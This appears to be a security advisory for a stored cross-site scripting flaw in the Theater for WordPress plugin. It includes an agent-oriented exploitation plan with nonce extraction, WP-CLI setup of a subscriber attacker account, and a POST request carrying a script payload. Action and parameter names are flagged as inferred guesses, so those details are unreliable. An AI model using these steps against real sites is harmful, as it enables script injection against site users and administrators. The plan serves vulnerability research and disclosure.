Theater for WordPress <= 0.19 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The Theater for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 0.19 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Since the source files for **Theater for WordPress 0.19** were not provided, this research plan is based on the vulnerability description, CVSS data, and common architectural patterns found in this plugin. All identifiers flagged with **(inferred)** must be verified by the agent using the provided g…
Show full research plan
Since the source files for Theater for WordPress 0.19 were not provided, this research plan is based on the vulnerability description, CVSS data, and common architectural patterns found in this plugin. All identifiers flagged with (inferred) must be verified by the agent using the provided grep commands before execution.
1. Vulnerability Summary
The Theater for WordPress plugin (versions <= 0.19) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because an AJAX handler or a settings-saving routine fails to validate permissions (allowing Subscriber+ users) and fails to sanitize input before storing it in the database (likely as post meta or an option). Furthermore, the plugin fails to escape this data when rendering it on the frontend or backend.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action (Inferred):
theatre_save_production_metaorwptp_save_details. - Vulnerable Parameter (Inferred):
production_notes,technical_info, orperformance_description. - Authentication: Subscriber-level credentials or higher.
- Preconditions: The attacker must be logged in as a Subscriber. A valid nonce for the specific AJAX action is likely required.
3. Code Flow (Inferred Trace)
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith theactionparameter set to a plugin-defined hook (e.g.,theatre_save_production). - Hook Registration: The plugin registers the action using
add_action( 'wp_ajax_...', ... )in a file likeincludes/class-theatre-ajax.php. - Permission Check (Vulnerable): The handler either lacks a
current_user_can()check or incorrectly checks for thereadcapability (which Subscribers possess). - Data Processing: The handler retrieves user input from
$_POSTwithout callingsanitize_text_field()orwp_kses(). - Sink: The raw input is saved via
update_post_meta()orupdate_option(). - Rendering: When a user (including an admin) views the affected production or event page, the plugin retrieves the data and outputs it using
echowithoutesc_html()oresc_attr().
4. Nonce Acquisition Strategy
To exploit this via admin-ajax.php, a valid nonce is required.
- Identify Shortcode: Locate the shortcode that enqueues the plugin's management scripts.
- Search Command:
grep -r "add_shortcode" /var/www/html/wp-content/plugins/theatre/ - Common Shortcodes:
[theatre_production],[theatre_calendar].
- Search Command:
- Identify Localized Variable: Look for the
wp_localize_scriptcall to find the nonce variable.- Search Command:
grep -r "wp_localize_script" /var/www/html/wp-content/plugins/theatre/ - Probable Variable (Inferred):
window.theatre_ajax_obj?.nonceorwindow.wpt_data?.nonce.
- Search Command:
- Extraction Procedure:
- Create a page containing the identified shortcode.
- Navigate to the page as a Subscriber user using
browser_navigate. - Extract the nonce:
browser_eval("window.theatre_ajax_obj.nonce").
5. Test Data Setup
Before exploitation, ensure the following environment state:
- Create Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Production Post: Create a post of the plugin's custom post type (likely
wp_theatre_prod).- Command:
wp post create --post_type=wp_theatre_prod --post_title="Vulnerable Production" --post_status=publish
- Command:
- Create Page for Nonce:
- Command:
wp post create --post_type=page --post_title="Nonce Page" --post_content='[theatre_production]' --post_status=publish
- Command:
6. Exploitation Strategy
Step 1: Discover the AJAX Action
Run the following to find the exact AJAX action registered for logged-in users:
grep -r "wp_ajax_" /var/www/html/wp-content/plugins/theatre/
Step 2: Extract Nonce
Use the browser tool to log in as the subscriber and visit the page created in Section 5. Extract the nonce from the JavaScript context.
Step 3: Send Malicious Request
Using the http_request tool, send a POST request to trigger the storage of the XSS payload.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Cookies: Use the Subscriber session cookies.
- Body:
action=[IDENTIFIED_ACTION]& nonce=[EXTRACTED_NONCE]& post_id=[PRODUCTION_ID]& [VULNERABLE_PARAM]=<script>alert(document.domain)</script>
Step 4: Trigger Execution
Navigate to the frontend page of the "Vulnerable Production" post or the admin list table for Productions.
7. Expected Results
- The
http_requestshould return a200 OKor a JSON success message (e.g.,{"success":true}). - When navigating to the production page, an alert box containing the document domain should appear.
8. Verification Steps
After the HTTP request, verify the database state using WP-CLI:
# Check if the payload is stored in post meta
wp post meta list [PRODUCTION_ID]
# Check if the payload is stored in options (if action was settings-related)
wp option get [OPTION_NAME]
9. Alternative Approaches
If the Subscriber cannot access the identified AJAX action:
- Check REST API: Search for
register_rest_routewithpermission_callbackreturning__return_trueor checking forreadcapability. - Check Profile Fields: Check if the plugin adds custom fields to the user profile that are not properly sanitized on save.
- Shortcode Attribute XSS: If the Subscriber can create posts (rare), check if shortcode attributes are echoed without escaping. Try:
[theatre_production id="1" custom_style='"><script>alert(1)</script>'].
Summary
The Theater for WordPress plugin (<= 0.19) is vulnerable to Authenticated Stored Cross-Site Scripting via an AJAX handler that fails to perform capability checks or sanitize input. This allows logged-in users with Subscriber-level permissions or higher to inject malicious scripts into production metadata, which then executes when viewed by other users.
Exploit Outline
1. Log in to the WordPress site as a user with Subscriber-level privileges. 2. Navigate to a frontend page containing a plugin shortcode (like [theatre_production]) to extract the AJAX nonce from the localized JavaScript variables (e.g., theatre_ajax_obj.nonce). 3. Identify the vulnerable AJAX action, such as theatre_save_production_meta, registered in the plugin's AJAX handler. 4. Send a POST request to /wp-admin/admin-ajax.php with the action, the valid nonce, a target post_id, and a malicious XSS payload in a metadata parameter (e.g., production_notes=<script>alert(document.domain)</script>). 5. Verify the payload is stored by navigating to the affected production page or the WordPress admin dashboard where the metadata is displayed, triggering the script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.